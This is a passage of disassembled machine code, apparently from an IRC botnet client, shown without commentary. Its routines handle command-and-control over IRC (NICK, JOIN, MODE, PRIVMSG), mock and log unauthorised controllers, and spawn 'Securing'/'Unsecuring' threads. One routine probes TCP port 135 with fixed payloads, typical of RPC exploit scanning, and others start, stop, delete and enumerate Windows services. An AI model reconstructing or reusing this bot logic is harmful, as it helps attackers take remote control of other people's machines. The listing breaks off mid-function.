		mov	dword_43F53C[ecx], eax
		jz	short loc_412739

loc_412723:				; CODE XREF: sub_40CE55+58E2j
		cmp	[ebp+var_450], ebx
		jnz	loc_40D219
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_412723
; ---------------------------------------------------------------------------

loc_412739:				; CODE XREF: sub_40CE55+58CCj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433488
		jmp	loc_40D402
; ---------------------------------------------------------------------------

loc_41274A:				; CODE XREF: sub_40CE55+FC0j
					; sub_40CE55+FD5j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412772
		push	edi
		push	offset aSec	; "sec"
		call	sub_415910
		pop	ecx
		mov	[ebp+var_458], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_41277C

loc_412772:				; CODE XREF: sub_40CE55+5904j
		mov	[ebp+var_458], 1

loc_41277C:				; CODE XREF: sub_40CE55+591Bj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_458], ebx
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_450], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4127C3
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_4127C3:				; CODE XREF: sub_40CE55+5967j
		push	eax
		push	offset dword_433438
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	19h
		push	eax
		call	sub_414F93
		add	esp, 1Ch
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_41465A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_412833

loc_412821:				; CODE XREF: sub_40CE55+59DCj
		cmp	[ebp+var_44C], ebx
		jnz	short loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_412821
; ---------------------------------------------------------------------------

loc_412833:				; CODE XREF: sub_40CE55+59CAj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4333E8

loc_41283F:				; CODE XREF: sub_40CE55+3C66j
					; sub_40CE55+4738j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_41284E:				; CODE XREF: sub_40CE55+295Fj
					; sub_40CE55+2981j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		jmp	loc_40D408
; ---------------------------------------------------------------------------

loc_41285F:				; CODE XREF: sub_40CE55+F96j
					; sub_40CE55+FABj
		push	offset aEnz9_9b	; "enz 9.9b"
		push	offset dword_4333C4

loc_412869:				; CODE XREF: sub_40CE55+44D8j
					; sub_40CE55+47ECj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7

loc_412875:				; CODE XREF: sub_40CE55+5156j
		add	esp, 0Ch
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_41287D:				; CODE XREF: sub_40CE55+F6Cj
					; sub_40CE55+F81j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4128DD
		push	esi
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4128D2
		cmp	eax, 2
		jge	short loc_4128D2
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4128C7
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436514
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_4128C7:				; CODE XREF: sub_40CE55+5A51j
		push	eax
		push	offset dword_433384
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_4128D2:				; CODE XREF: sub_40CE55+5A3Cj
					; sub_40CE55+5A41j
		push	eax
		push	offset dword_433344
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_4128DD:				; CODE XREF: sub_40CE55+5A31j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4128E2:				; CODE XREF: sub_40CE55+5AA9j
		push	[ebp+var_94]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412905
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4128E2
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_412905:				; CODE XREF: sub_40CE55+5A9Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_436514
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_41291F:				; CODE XREF: sub_40CE55+F42j
					; sub_40CE55+F57j
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41298E
		call	sub_41515C
		push	ebx
		call	dword_421114	; ExitProcess

loc_412941:				; CODE XREF: sub_40CE55+F18j
					; sub_40CE55+F2Dj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9A4], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_564]
		push	dword_42C1A4
		push	eax
		call	sub_414433
		lea	eax, [ebp+var_564]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_564]
		push	eax
		push	offset dword_43330C
		call	sub_40B1E1

loc_41298B:				; CODE XREF: sub_40CE55+2ADAj
		add	esp, 24h

loc_41298E:				; CODE XREF: sub_40CE55+65Cj
					; sub_40CE55+668j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_412996:				; CODE XREF: sub_40CE55+B18j
					; sub_40CE55+B2Dj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40D219
		cmp	[ebp+var_98], ebx
		jnz	loc_40D219
		push	offset dword_42F3E4
		push	[ebp+var_94]
		call	sub_416C98
		mov	esi, eax
		push	offset dword_438FD4
		push	ebx
		inc	esi
		call	sub_416C98
		push	offset asc_433308 ; "~"
		push	eax
		call	sub_416C98
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_415910
		add	esp, 20h
		test	eax, eax
		jz	short loc_412A3E
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	esi
		push	offset dword_43327C

loc_412A2A:				; CODE XREF: sub_40CE55+5C45j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 30h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_412A3E:				; CODE XREF: sub_40CE55+5B9Cj
		mov	[ebp+arg_24], offset off_42C260

loc_412A45:				; CODE XREF: sub_40CE55+5C0Cj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4152EC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A9C
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42C264
		jl	short loc_412A45
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	esi
		push	offset dword_43323C
		jmp	short loc_412A2A
; ---------------------------------------------------------------------------

loc_412A9C:				; CODE XREF: sub_40CE55+5BFFj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_412AA1:				; CODE XREF: sub_40CE55+5C76j
		cmp	[ebp+arg_0], ebx
		jz	loc_40D219
		cmp	[edi], bl
		jnz	short loc_412AC1
		push	[ebp+arg_0]
		push	offset aHi	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AD2

loc_412AC1:				; CODE XREF: sub_40CE55+5C57j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412AA1
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_412AD2:				; CODE XREF: sub_40CE55+5C6Aj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_A94]
		push	7Fh
		push	eax
		push	esi
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_412B09
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433208
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_412B09:				; CODE XREF: sub_40CE55+5C98j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_4331D4
		jmp	loc_40D402
; ---------------------------------------------------------------------------

loc_412B1A:				; CODE XREF: sub_40CE55+20Ej
					; sub_40CE55+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_42C23C
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 2Ch
		mov	dword_468998, edi
		jmp	loc_40D0F2
sub_40CE55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B60	proc near		; CODE XREF: sub_412B98+125p
					; sub_412B98+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412B8E

loc_412B71:				; CODE XREF: sub_412B60+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417930
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412B94
		inc	esi
		cmp	esi, edi
		jl	short loc_412B71

loc_412B8E:				; CODE XREF: sub_412B60+Fj
		xor	al, al

loc_412B90:				; CODE XREF: sub_412B60+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_412B94:				; CODE XREF: sub_412B60+27j
		mov	al, 1
		jmp	short loc_412B90
sub_412B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B98	proc near		; CODE XREF: sub_4033CB+8Bp
					; sub_4033CB+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415D70
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412BD9
		dec	eax
		jz	short loc_412BB7
		dec	eax

loc_412BB1:				; CODE XREF: sub_412B98+57j
		xor	eax, eax

loc_412BB3:				; CODE XREF: sub_412B98+3Fj
					; sub_412B98+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_412BB7:				; CODE XREF: sub_412B98+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43A3D8	; inet_addr
		push	eax
		call	sub_4076EE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412BB3
; ---------------------------------------------------------------------------

loc_412BD9:				; CODE XREF: sub_412B98+13j
		push	6
		push	1
		push	2
		call	dword_43A418	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412BB1
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43A398	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		cmp	eax, edi
		jz	loc_412CF5
		push	ebx
		push	48h
		push	offset dword_43658C
		push	esi
		call	dword_43A3E8	; send
		cmp	eax, edi
		jz	loc_412CF5
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3B0	; recv
		cmp	eax, edi
		jz	loc_412CF5
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412CF5
		push	ebx
		push	18h
		push	offset dword_4365D8
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		cmp	eax, edi
		jz	short loc_412CF5
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3B0	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412CF5
		cmp	[ebp+var_200E],	2
		jnz	short loc_412CF5
		push	10h
		push	offset loc_4365F4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B60
		add	esp, 10h
		test	al, al
		jz	short loc_412CD5
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412CF5
; ---------------------------------------------------------------------------

loc_412CD5:				; CODE XREF: sub_412B98+12Fj
		push	10h
		push	offset dword_436608
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B60
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_412CF5:				; CODE XREF: sub_412B98+9Bj
					; sub_412B98+B2j ...
		push	[ebp+arg_4]
		call	dword_43A430	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_412BB3
sub_412B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D06	proc near		; CODE XREF: sub_40CCDD+3Dp
					; sub_40CE55+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41748F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		leave
		retn
sub_412D06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_401000+88p
					; sub_401447+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412D67
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_412D67:				; CODE XREF: sub_412D4C+14j
		push	edi
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415CF0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_43661C
		push	eax
		call	sub_4154E7
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412DE5
		push	7D0h
		call	dword_421060	; Sleep

locret_412DE5:				; CODE XREF: sub_412D4C+8Cj
		leave
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DE7	proc near		; CODE XREF: sub_40CE55:loc_40ED61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412E4C
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_436630[esi]
		push	edi
		push	eax
		call	sub_412E6E
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412E2F
		push	edi
		push	off_43662C[esi]
		mov	esi, offset dword_469060
		push	offset dword_436764
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_412E69
; ---------------------------------------------------------------------------

loc_412E2F:				; CODE XREF: sub_412DE7+2Aj
		push	eax
		call	sub_412F10
		push	eax
		push	edi
		mov	esi, offset dword_469060
		push	offset dword_436728
		push	esi
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_412E69
; ---------------------------------------------------------------------------

loc_412E4C:				; CODE XREF: sub_412DE7+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_469060
		push	off_436628[eax*4]
		push	offset dword_4366F0
		push	esi
		call	sub_4154E7
		add	esp, 0Ch

loc_412E69:				; CODE XREF: sub_412DE7+46j
					; sub_412DE7+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412DE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E6E	proc near		; CODE XREF: sub_412DE7+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43A38C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412E95
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412F0A
; ---------------------------------------------------------------------------

loc_412E95:				; CODE XREF: sub_412E6E+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43A280	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412EB5
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412F02
; ---------------------------------------------------------------------------

loc_412EB5:				; CODE XREF: sub_412E6E+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412EE8
		cmp	eax, 3
		jz	short loc_412ED9
		jle	short loc_412EFB
		cmp	eax, 6
		jg	short loc_412EFB
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43A2E8	; ControlService
		jmp	short loc_412EEF
; ---------------------------------------------------------------------------

loc_412ED9:				; CODE XREF: sub_412E6E+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43A288	; StartServiceA
		jmp	short loc_412EEF
; ---------------------------------------------------------------------------

loc_412EE8:				; CODE XREF: sub_412E6E+4Dj
		push	esi
		call	dword_43A2EC	; DeleteService

loc_412EEF:				; CODE XREF: sub_412E6E+69j
					; sub_412E6E+78j
		test	eax, eax
		jnz	short loc_412EFB
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax

loc_412EFB:				; CODE XREF: sub_412E6E+54j
					; sub_412E6E+59j ...
		push	esi
		call	dword_43A29C	; CloseServiceHandle

loc_412F02:				; CODE XREF: sub_412E6E+45j
		push	edi
		call	dword_43A29C	; CloseServiceHandle
		pop	esi

loc_412F0A:				; CODE XREF: sub_412E6E+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412E6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F10	proc near		; CODE XREF: sub_412DE7+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412FC5
		jz	loc_412FBE
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412F88
		jz	short loc_412F7E
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412F74
		dec	ecx
		dec	ecx
		jz	short loc_412F6A
		dec	ecx
		jz	short loc_412F60
		sub	ecx, 51h
		jz	short loc_412F56
		sub	ecx, 24h
		jnz	loc_41303B	; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16

loc_412F4C:				; DATA XREF: seg000:off_42B834o
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F56:				; CODE XREF: sub_412F10+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F60:				; CODE XREF: sub_412F10+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F6A:				; CODE XREF: sub_412F10+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F74:				; CODE XREF: sub_412F10+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F7E:				; CODE XREF: sub_412F10+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F88:				; CODE XREF: sub_412F10+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412FB7
		dec	ecx
		jz	short loc_412FB0
		dec	ecx
		jz	short loc_412FA9
		dec	ecx
		jnz	loc_41303B	; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412FA9:				; CODE XREF: sub_412F10+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FB0:				; CODE XREF: sub_412F10+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FB7:				; CODE XREF: sub_412F10+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FBE:				; CODE XREF: sub_412F10+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FC5:				; CODE XREF: sub_412F10+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41303B ; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_413028
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41303B ; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41307C[ecx]
		jmp	off_413054[ecx*4] ; switch jump

loc_412FE9:				; DATA XREF: seg000:off_413054o
		push	offset aTheSpecifiedDa ; jumptable 00412FE2 case 7
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FF0:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheServiceDepe ; jumptable 00412FE2 case 17
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FF7:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheServiceDe_0 ; jumptable 00412FE2 case 10
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FFE:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheServiceHasB ; jumptable 00412FE2 case 0
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413005:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheSpecified_0 ; jumptable 00412FE2 case 2
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_41300C:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheServiceCoul ; jumptable 00412FE2 case 11
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413013:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheServiceHa_0 ; jumptable 00412FE2 case 14
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_41301A:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheRequested_1 ; jumptable 00412FE2 case 3
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413021:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: seg000:off_413054o
		push	offset aTheServiceHasN ; jumptable 00412FE2 case 4
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413028:				; CODE XREF: sub_412F10+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_41302D:				; CODE XREF: sub_412F10+41j
					; sub_412F10+4Bj ...
		push	offset dword_4689A0
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_41304E
; ---------------------------------------------------------------------------

loc_41303B:				; CODE XREF: sub_412F10+36j
					; sub_412F10+89j ...
		push	eax		; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4689A0
		call	sub_4154E7
		add	esp, 0Ch

loc_41304E:				; CODE XREF: sub_412F10+129j
		mov	eax, offset dword_4689A0
		retn
sub_412F10	endp

; ---------------------------------------------------------------------------
off_413054	dd offset loc_412FFE	; DATA XREF: sub_412F10+D2r
		dd offset loc_413005	; jump table for switch	statement
		dd offset loc_41301A
		dd offset loc_413021
		dd offset loc_412FE9
		dd offset loc_412FF7
		dd offset loc_41300C
		dd offset loc_413013
		dd offset loc_412FF0
		dd offset loc_41303B
byte_41307C	db	0,     9,     1,     2 ; DATA XREF: sub_412F10+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308E	proc near		; CODE XREF: sub_40CE55+1F37p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43A38C	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4130C6:				; CODE XREF: sub_41308E+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43A358	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_413100
		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_4131B4

loc_413100:				; CODE XREF: sub_41308E+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4131AB
		lea	esi, [ebp+var_188]

loc_413111:				; CODE XREF: sub_41308E+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_41315A
		dec	eax
		jz	short loc_413153
		dec	eax
		jz	short loc_41314C
		dec	eax
		jz	short loc_413145
		dec	eax
		jz	short loc_41313E
		dec	eax
		jz	short loc_413137
		dec	eax
		jz	short loc_413130
